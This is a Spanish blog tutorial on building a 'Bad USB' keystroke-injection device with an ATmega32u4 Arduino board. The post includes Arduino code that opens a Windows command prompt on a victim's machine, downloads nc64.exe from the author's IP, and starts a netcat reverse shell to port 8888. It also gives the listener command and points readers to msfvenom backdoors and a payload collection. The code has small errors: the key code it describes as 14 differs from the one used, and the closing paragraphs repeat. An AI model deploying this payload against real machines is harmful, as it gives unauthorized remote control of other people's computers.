¿Que es Bad USB?
Bad USB es un dispositivo USB que se comporta como otro dispositivo de teclado automatizado, que permite utilizar este dispositivo de manera maliciosa para ataques de pentesting de manera local.
Características:
Microcontroller: ATmega32u4
Clock Speed: 16 MHz
Operating Voltage: 5V DC
Digital I/O Pins: 10
PWM Channels: 4
Analog Input Channels: 5
UART: 1
I2C: 1
Micro USB: 1
Flash Memory: 32 KB of which 4KB used by bootloader
SRAM: 2.5 KB
EEPROM: 1 KB
USB ATMEGA32U4 Development Board Module For Arduino Leonardo R3
Este dispositivo se puso de "moda" en el año 2014 y hasta el día de hoy se sigue utilizando por su eficacia.
Existe un gran demanda de estos dispositivos en varias plataformas de e commerce a nivel mundial.
A continuación vamos a descargar el IDE Arduino.
(Dependiendo su sistema y arquitectura)
Instalación:
tar -Jxf arduino-1.8.9-linux64.tar.xz
cd arduino-1.6.12/
./install.sh
Antes de comenzar a crear el script vamos a repasar un poco de arduino.
¿Qué es Arduino?
Arduino es una plataforma y, como tal, dispone de varios elementos: hardware, software y lenguaje de programación. Este libro pretende ampliar tu lenguaje de programación y, teniendo en cuenta la base que hemos visto, no necesitamos añadir más conceptos sobre electrónica y hardware, pero si sobre el IDE de Arduino.
Estructuras de control de flujo repetitivas
Este tipo de estructuras son también conocidas como «bucles»; se diferencian de las estructuras no repetitivas en que, siempre y cuando se cumpla la condición o condiciones, se ejecutan las líneas de código una y otra vez sin salir de la estructura
While
Esta estructura ejecuta las instrucciones que se encuentran entre sus llaves de apertura y cierre. ¿Cuántas veces? Se ejecutarán mientras la condición especificada se cumpla, sin ejecutarse ninguna otra línea de código que se encuentre fuera de la estructura.
while(condición)
{
//Instrucciones que se ejecutan mientras se cumpla la condición
}
Ejemplo:
Ejemplo 2:
Aprende arduino aquí:
Creando nuestro Backdoor con NC en Arduino IDE
Antes de empezar a explicar un poco el código fuente debo aclarar que la victima tiene Linux Bash Shell instalado en su sistema y aprovechare esas características para acceder al sistema.
Explicando el código fuente:
----------------------------------------------------------------------------------------------------------------------
Keyboard.begin();
// Waiting 500ms for init
delay(500);
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
----------------------------------------------------------------------------------------------------------------------
Estamos indicando el dispositivo pulsee la tecla WINDOWS(KEY_LEFT_GUI) y dando Enter(144) en un tempo determinado de 3 segundos.
Algunas teclas expresiones de teclado:
- KEY_LEFT_CTRL
- KEY_LEFT_SHIFT
- KEY_LEFT_ALT
- KEY_LEFT_GUI
- KEY_RIGHT_CTRL
- KEY_RIGHT_SHIFT
- KEY_RIGHT_ALT
- KEY_RIGHT_GUI
- KEY_UP_ARROW
- KEY_DOWN_ARROW
- KEY_LEFT_ARROW
- KEY_RIGHT_ARROW
- KEY_BACKSPACE
- KEY_TAB
- KEY_RETURN
- KEY_ESC
- KEY_INSERT
- KEY_DELETE
- KEY_PAGE_UP
- KEY_PAGE_DOWN
- KEY_HOME
- KEY_END
- KEY_CAPS_LOCK
- KEY_F1
- KEY_F2
- KEY_F3
- KEY_F4
- KEY_F5
- KEY_F6
- KEY_F7
- KEY_F8
- KEY_F9
- KEY_F10
- KEY_F11
- KEY_F12
Equivalencias de otras unidades de tiempo en milisegundos
- Un centisegundo equivale a 10 milisegundos.
- Un decisegundo equivale a 100 milisegundos.
- Un segundo equivale a 1000 milisegundos.
- Un minuto equivale a 60 000 milisegundos.
- Una hora equivale a 3 600 000 milisegundos.
- Un día equivale a 86 400 000 milisegundo
----------------------------------------------------------------------------------------------------------------------
delay(500);
Keyboard.print("cmd");
delay(500);
typeKey(KEY_RETURN);
delay(500);
Keyboard.print("wget 192.168.0.4&nc64.exe");
typeKey(KEY_RETURN);
delay(50);
Keyboard.print("START nc64.exe 192.168.0.4 8888 /e cmd.exe /d & exit");
typeKey(KEY_RETURN);
delay(500);
Keyboard.print("exit");
typeKey(KEY_RETURN);
}
----------------------------------------------------------------------------------------------------------------------
Keyboard.print - Aquí añadiremos los valores que deseamos digitar de manera automatizada
typeKey(KEY_RETURN) - Boton Enter.
como podemos ver en el código anterior estoy indicando que descargue un ejecutable NC.exe con la dirección IP y el puerto de escucha de mi ordenador, una ves que se conecte me abrirá el CMD de nuestra victima.
Ejecutamos Netcat en nuestro ordenador para la conexión.
root@kali:~# nc -l -p 8888
Ahora ingresamos el USB en la PC de nuestra victima para realizar nuestra prueba de concepto.
Reverse Shell CMD
De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.
Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.
Saludos.
Reverse Shell CMD
De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.
Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.
0 comentarios:
Publicar un comentario